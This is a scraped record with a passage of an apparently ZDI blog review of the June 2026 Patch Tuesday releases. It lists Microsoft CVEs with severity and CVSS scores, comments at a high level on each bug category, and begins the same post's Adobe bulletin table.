<span>CVE-2026-41092</span>\n  Microsoft Kinect\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45644</span>\n  Microsoft Live Share\n  Canvas SDK Elevation of Privilege Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47293</span>\n  Microsoft Office\n  Click-To-Run Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45485</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44821</span>\n  Microsoft Office\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45483</span>\n  Microsoft Office\n  Project Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45475</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44819</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-44824</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45645</span>\n  Microsoft Office\n  Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-49161</span>\n  Microsoft PC Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  SFB\n \n \n  <span>CVE-2026-42902</span>\n  Microsoft PowerToys\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45484</span>\n  Microsoft SharePoint\n  Elevation of Privilege Vulnerability\n  Important\n  8.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45454</span>\n  Microsoft SharePoint\n  Remote Code Execution Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-47298</span>\n  Microsoft SharePoint\n  Server Remote Code Execution Vulnerability\n  Important\n  8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45467</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45468</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45479</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45453</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47636</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47637</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47638</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47639</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47641</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-33113</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45462</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45464</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-45465</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-47634</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-47640</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-45481</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  7.3\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48560</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-48562</span>\n  Microsoft SharePoint\n  Server Spoofing Vulnerability\n  Important\n  4.6\n  No\n  No\n  2\n  Spoofing\n \n \n  <span>CVE-2026-42835</span>\n  Microsoft Teams for\n  Android Information Disclosure Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45606</span>\n  Microsoft UxTheme\n  Library (uxtheme.dll) Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-45482</span>\n  Microsoft Visual\n  Studio Code CoPilot Chat Extension Security Feature Bypass Vulnerability\n  Important\n  8.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45466</span>\n  Microsoft Word\n  Information Disclosure Vulnerability\n  Important\n  3.3\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45471</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45486</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45643</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45457</span>\n  Microsoft Word Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42980</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-42916</span>\n  NT OS Kernel Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45649</span>\n  Office for Android\n  Spoofing Vulnerability\n  Important\n  7.1\n  No\n  No\n  3\n  Spoofing\n \n \n  <span>CVE-2026-47653</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  8.8\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42909</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42913</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  3\n  RCE\n \n \n  <span>CVE-2026-42993</span>\n  Remote Desktop Client\n  Remote Code Execution Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45588</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48568</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48570</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48573</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48575</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48576</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-48578</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45654</span>\n  Secure Boot Security\n  Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45656</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-8863</span>\n  UEFI Secure Boot\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-40376</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47281</span>\n  Visual Studio Code\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-47284</span>\n  Visual Studio Code\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47292</span>\n  Visual Studio Code\n  MSSQL Extension Remote Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-48569</span>\n  Visual Studio Code\n  Security Feature Bypass Vulnerability\n  Important\n  7.1\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-47287</span>\n  Visual Studio Code\n  Tampering Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42829</span>\n  Windows Administrator\n  Protection Secure Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  \n \n \n  <span>CVE-2026-34335</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45601</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45598</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45596</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45638</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45603</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42911</span>\n  Windows Ancillary\n  Function Driver for WinSock Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45594</span>\n  Windows Application\n  Identity (AppID) Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45655</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45658</span>\n  Windows BitLocker\n  Security Feature Bypass Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  SFB\n \n \n  <span>CVE-2026-45640</span>\n  Windows Bluetooth Port\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45605</span>\n  Windows Bluetooth\n  Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-47656</span>\n  Windows Boot Manager\n  Security Feature Bypass Vulnerability\n  Important\n  7.9\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-44809</span>\n  Windows Common Log\n  File System Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45634</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-45608</span>\n  Windows DHCP Client\n  Information Disclosure Vulnerability\n  Important\n  6.8\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-41108</span>\n  Windows DNS Client\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42905</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n  <span>CVE-2026-44811</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44808</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44807</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42983</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44802</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44813</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44804</span>\n  Windows DWM Core\n  Library Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-48566</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-44814</span>\n  Windows DWM Core\n  Library Information Disclosure<span> \n  </span>Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45602</span>\n  Windows Dynamic Host\n  Configuration Protocol (DHCP) Tampering Vulnerability\n  Important\n  9.1\n  No\n  No\n  2\n  Tampering\n \n \n  <span>CVE-2026-42836</span>\n  Windows Function\n  Discovery Service (fdwsd.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42910</span>\n  Windows Hotpatch\n  Monitoring Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42972</span>\n  Windows Hyper-V\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45592</span>\n  Windows Internet\n  (wininet.dll) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42903</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  6.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42914</span>\n  Windows Kerberos\n  Denial of Service Vulnerability\n  Important\n  5.3\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-48583</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45653</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42984</span>\n  Windows Kernel\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45600</span>\n  Windows Kernel-Mode\n  Driver Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45604</span>\n  Windows Managed\n  Installer Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45595</span>\n  Windows Mark of the\n  Web Security Feature Bypass Vulnerability\n  Important\n  5.4\n  No\n  No\n  2\n  SFB\n \n \n  <span>CVE-2026-45636</span>\n  Windows NTFS Remote\n  Code Execution Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-50508</span>\n  Windows NTLM Spoofing\n  Vulnerability\n  Important\n  6.5\n  No\n  No\n  1\n  Spoofing\n \n \n  <span>CVE-2026-48565</span>\n  Windows Narrator\n  Braille Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-44805</span>\n  Windows Network\n  Controller (NC) Host Agent Denial of Service Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  DoS\n \n \n  <span>CVE-2026-42981</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-42974</span>\n  Windows Performance\n  Monitor Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45487</span>\n  Windows Program\n  Compatibility Assistant Service Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42828</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42837</span>\n  Windows Projected File\n  System Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42969</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  3\n  Info\n \n \n  <span>CVE-2026-42971</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42970</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42973</span>\n  Windows Push\n  Notification Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42978</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42977</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42979</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42991</span>\n  Windows Push\n  Notifications Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45639</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42908</span>\n  Windows Remote Desktop\n  Protocol (RDP) Information Disclosure Vulnerability\n  Important\n  7.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-45593</span>\n  Windows SDK Elevation\n  of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42906</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42907</span>\n  Windows Shell\n  Information Disclosure Vulnerability\n  Important\n  6.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-47648</span>\n  Windows Storage\n  Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42915</span>\n  Windows TCP/IP Denial\n  of Service Vulnerability\n  Important\n  5.7\n  No\n  No\n  2\n  DoS\n \n \n  <span>CVE-2026-42904</span>\n  Windows TCP/IP\n  Elevation of Privilege Vulnerability\n  Important\n  9.6\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-42968</span>\n  Windows Telephony\n  Server Information Disclosure Vulnerability\n  Important\n  5.5\n  No\n  No\n  2\n  Info\n \n \n  <span>CVE-2026-42912</span>\n  Windows Telephony\n  Service Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-45597</span>\n  Windows UI Automation\n  Manager (uiamanager.dll) Elevation of Privilege Vulnerability\n  Important\n  7\n  No\n  No\n  3\n  EoP\n \n \n  <span>CVE-2026-45599</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-45635</span>\n  Windows UPnP Device\n  Host Remote Code Execution Vulnerability\n  Important\n  8.1\n  No\n  No\n  2\n  RCE\n \n \n  <span>CVE-2026-40409</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-40404</span>\n  Windows Universal Disk\n  Format File System Driver (UDFS) Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  2\n  EoP\n \n \n  <span>CVE-2026-42989</span>\n  Winlogon\n  Elevation of Privilege Vulnerability\n  Important\n  7.8\n  No\n  No\n  1\n  EoP\n \n \n \n  \n  \n  \n  \n  \n  \n  \n  \n \n \n\n\n\n\n\n\n\n\n\n\n\n\n  \n\n\n\n\n  \n* Indicates this CVE had been released by a third party and is now being included in Microsoft releases.\n\u2020 Indicates further administrative actions are required to fully address the vulnerability.\n \nLooking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That\u2019s also the case for five others. Of course, there wouldn\u2019t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There\u2019s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.\nMoving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it\u2019s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.\nThere are more than 60 Elevation of Privilege (EoP) bugs in this month\u2019s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there\u2019s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server\u2019s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows \u201celevated\u201d privileges without really describing what elevated might be. \nMoving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself \u2014 specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. \nTurning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It\u2019s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.\nThere are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could \u201cdisclose information over a network.\u201d How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.\nI\u2019ve never been a fan of the \u201ctampering\u201d category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn\u2019t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.\nThere are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated \"Exploitation More Likely,\" and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.\nNo new advisories are being released this month.\nLooking Ahead\nThe next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It\u2019s usually a big release, so strap in and hang on. I\u2019ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!\n ", "creation_timestamp": "2026-06-09T16:12:18.000000Z"}, {"uuid": "2e74af36-7a6e-4990-8a1b-442903a4da6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-48566", "type": "seen", "source": "https://www.thezdi.com/blog/2026/6/9/the-june-2026-security-update-review", "content": "I\u2019ve made it through Pwn2Own Berlin, had a little vacation, and now I\u2019m back for Patch Tuesday. Microsoft and Adobe didn\u2019t disappoint. In fact, they have heralded my return with the largest Patch Tuesday release ever. Thanks? Take a break from your regularly scheduled activities and let\u2019s take a look at the latest security patches from Adobe and Microsoft. If you\u2019d rather watch the full video recap covering the entire release, you can check out the Patch Report webcast on our YouTube channel. It should be posted within a couple of hours after the release.\nAdobe Patches for June 2026\nFor May, June released 11 bulletins addressing 123 unique CVEs in Adobe Acrobat Reader, ColdFusion, Experience Manager, Experience Manager Forms, InDesign, InCopy, Substance 3D Sampler, Content Credentials SDK, Dreamweaver, Format Plugins, and Adobe Campaign Classic.\nHere\u2019s this month\u2019s overview table:\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n  \n  \n\n\n\n\n  \n    \n\n\n\n<colgroup>\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n  <col />\n</colgroup>\n\n<tfoot>\n  \n</tfoot>\n\n\n  \n    Bulletin ID\n    Product\n    CVE Count\n    Highest Severity\n    Highest CVSS\n    Exploited\n    Deployment Priority\n  \n\n\n  \n    APSB26-66\n    Adobe Campaign Classic\n    2\n    Critical\n    10.0\n    No\n    1\n  \n  \n    APSB26-64\n    Adobe ColdFusion\n    7\n    Critical\n    9.6\n    No\n    1\n  \n  \n    APSB26-63\n    Adobe Acrobat Reader\n    20\n    Critical\n    7.8\n    No\n    2\n 